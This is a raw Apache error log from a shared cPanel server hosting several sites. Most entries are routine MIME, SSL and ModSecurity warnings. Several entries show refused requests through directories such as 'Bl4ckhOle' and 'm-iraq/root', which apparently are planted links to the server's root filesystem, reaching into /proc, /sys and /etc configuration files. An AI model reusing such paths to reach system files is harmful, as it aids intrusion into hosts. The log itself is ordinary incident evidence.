[Fri Jul 17 08:04:35.361423 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:35.502096 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:35.910366 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:36.033402 2026] [ssl:error] [pid 1993671:tid 1993671] (5)Input/output error: [client 66.85.158.91:36850] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:04:36.079824 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:36.108756 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:36.141389 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:36.901392 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:36918] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:04:37.093540 2026] [security2:error] [pid 1993604:tid 1993604] [client 57.141.18.74:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory2/subsystem/devices/memory120/subsystem/devices/memory3/node0/memory15/subsystem/drivers/"] [unique_id "almUvYha5y5fYnQ1qRrrAgAAAAE"]
[Fri Jul 17 08:04:37.093583 2026] [security2:error] [pid 1993604:tid 1993604] [client 57.141.18.74:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory2/subsystem/devices/memory120/subsystem/devices/memory3/node0/memory15/subsystem/drivers/"] [unique_id "almUvYha5y5fYnQ1qRrrAgAAAAE"]
[Fri Jul 17 08:04:37.449371 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:37.504484 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:39.229862 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:37058] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:04:40.023369 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:37138] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:04:40.362013 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:40.619226 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:40.804573 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 57.141.18.120:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory0/subsystem/devices/memory85/subsystem/devices/memory71/subsystem/drivers_probe
[Fri Jul 17 08:04:41.181241 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:37252] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:04:47.856061 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:48.110708 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:48.744597 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:48.796125 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:42634] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:04:49.402476 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:42672] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:04:49.819239 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/29:0/device/driver/unbind
[Fri Jul 17 08:04:52.672395 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almUyziSeFVxYLkcq6IY7QAAAAc"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1125&page_105=2071
[Fri Jul 17 08:04:52.672443 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almUyziSeFVxYLkcq6IY7QAAAAc"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1125&page_105=2071
[Fri Jul 17 08:04:53.573080 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:53.674793 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:55.230676 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almUz41dLClkUfK_dfHccQAAAAI"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:04:55.230725 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almUz41dLClkUfK_dfHccQAAAAI"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:04:55.323910 2026] [security2:error] [pid 1994976:tid 1994976] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almUzzRCJXF37-WnVv0dvgAAABI"], referer: http://www.anandaobauae.org/?C=M;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:04:55.323945 2026] [security2:error] [pid 1994976:tid 1994976] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almUzzRCJXF37-WnVv0dvgAAABI"], referer: http://www.anandaobauae.org/?C=M;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:04:55.787822 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:55.787938 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:55.788152 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:56.694557 2026] [core:error] [pid 1993570:tid 1993570] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/node0/cpu2/driver/uevent
[Fri Jul 17 08:04:58.296700 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:59.667663 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:04:59.760239 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:00.670572 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:01.234706 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:6/subsystem/ttyS0/flags
[Fri Jul 17 08:05:01.570830 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:03.033005 2026] [core:error] [pid 1993573:tid 1993573] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:53/subsystem/ttyS3/flags
[Fri Jul 17 08:05:03.495516 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:03.767208 2026] [security2:error] [pid 1994976:tid 1994976] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty45/subsystem/tty43/dev"] [unique_id "almU1zRCJXF37-WnVv0dyAAAABI"]
[Fri Jul 17 08:05:03.767256 2026] [security2:error] [pid 1994976:tid 1994976] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty45/subsystem/tty43/dev"] [unique_id "almU1zRCJXF37-WnVv0dyAAAABI"]
[Fri Jul 17 08:05:04.040579 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:04.860213 2026] [core:error] [pid 1993998:tid 1993998] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:48/subsystem/ttyS0/flags
[Fri Jul 17 08:05:05.369617 2026] [security2:error] [pid 1994956:tid 1994956] [client 57.141.18.7:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory71/node0/memory106/node0/memory126/node0/memory32/power/"] [unique_id "almU2QG5-NXx3Mem1QgJsAAAAA8"]
[Fri Jul 17 08:05:05.369656 2026] [security2:error] [pid 1994956:tid 1994956] [client 57.141.18.7:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory71/node0/memory106/node0/memory126/node0/memory32/power/"] [unique_id "almU2QG5-NXx3Mem1QgJsAAAAA8"]
[Fri Jul 17 08:05:09.427537 2026] [security2:error] [pid 1993574:tid 1993574] [client 162.55.236.162:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almU3d0t9Kb_MdNxrg66AgAAAAM"]
[Fri Jul 17 08:05:09.427570 2026] [security2:error] [pid 1993574:tid 1993574] [client 162.55.236.162:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almU3d0t9Kb_MdNxrg66AgAAAAM"]
[Fri Jul 17 08:05:13.676790 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:13.683468 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:35828] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:05:13.794416 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:13.976682 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:14.067476 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:14.387440 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:14.523945 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:14.887727 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:14.992790 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:15.839128 2026] [security2:error] [pid 1993572:tid 1993572] [client 85.11.167.118:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ayuzonelanka-global": Permission denied [hostname "ayuzonelanka.com"] [uri "/index.php"] [unique_id "almU4Yl9vhFBGA6D8l9x6QAAAAw"], referer: https://www.bing.com/
[Fri Jul 17 08:05:15.839170 2026] [security2:error] [pid 1993572:tid 1993572] [client 85.11.167.118:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ayuzonelanka-ip": Permission denied [hostname "ayuzonelanka.com"] [uri "/index.php"] [unique_id "almU4Yl9vhFBGA6D8l9x6QAAAAw"], referer: https://www.bing.com/
[Fri Jul 17 08:05:17.277116 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:19.258093 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:19.996588 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/var/log/cloudlinux-backup-utils-cron.log-20260712
[Fri Jul 17 08:05:20.084367 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/etc/dnf/vars/phpelstoken
[Fri Jul 17 08:05:21.500412 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:21.542645 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/run/dovecot/dovecot.conf.binary
[Fri Jul 17 08:05:22.554927 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:22.852950 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:23.272203 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:23.910475 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:24.594374 2026] [security2:error] [pid 1994967:tid 1994967] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almU7Ehq6UAnqYko0LpSYAAAABE"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:05:24.594408 2026] [security2:error] [pid 1994967:tid 1994967] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almU7Ehq6UAnqYko0LpSYAAAABE"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 08:05:24.733074 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:24.821785 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:24.915633 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:25.006572 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:25.097289 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:25.461553 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:25.561830 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:25.738909 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:25.826584 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:26.493411 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:26.587595 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:46576] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:05:26.745195 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:26.885682 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:26.901704 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:27.018911 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:27.110421 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:27.288734 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:27.529803 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:27.568751 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:27.574542 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:27.630639 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:27.643945 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:27.651787 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:27.798325 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:27.839659 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:27.901692 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:28.096264 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:28.132004 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almU8I1dLClkUfK_dfHcjwAAAAI"], referer: http://www.anandaobauae.org/?C=M;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:05:28.132032 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almU8I1dLClkUfK_dfHcjwAAAAI"], referer: http://www.anandaobauae.org/?C=M;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:05:28.299122 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:29.512134 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:30.356301 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:46766] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:05:30.435199 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:30.658671 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:30.688144 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:30.779307 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:30.937365 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:30.973562 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:31.068084 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:31.113861 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:31.138796 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:31.223339 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:31.559680 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:32.413673 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:32.645070 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:32.688467 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:32.733732 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:33.089120 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:33.678377 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:33.812439 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:34.050666 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:40632] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:05:34.837565 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:34.845587 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:05:34.866915 2026] [security2:error] [pid 1993570:tid 1993570] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almU9njA8yK8B7kryx3c8wAAAAk"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
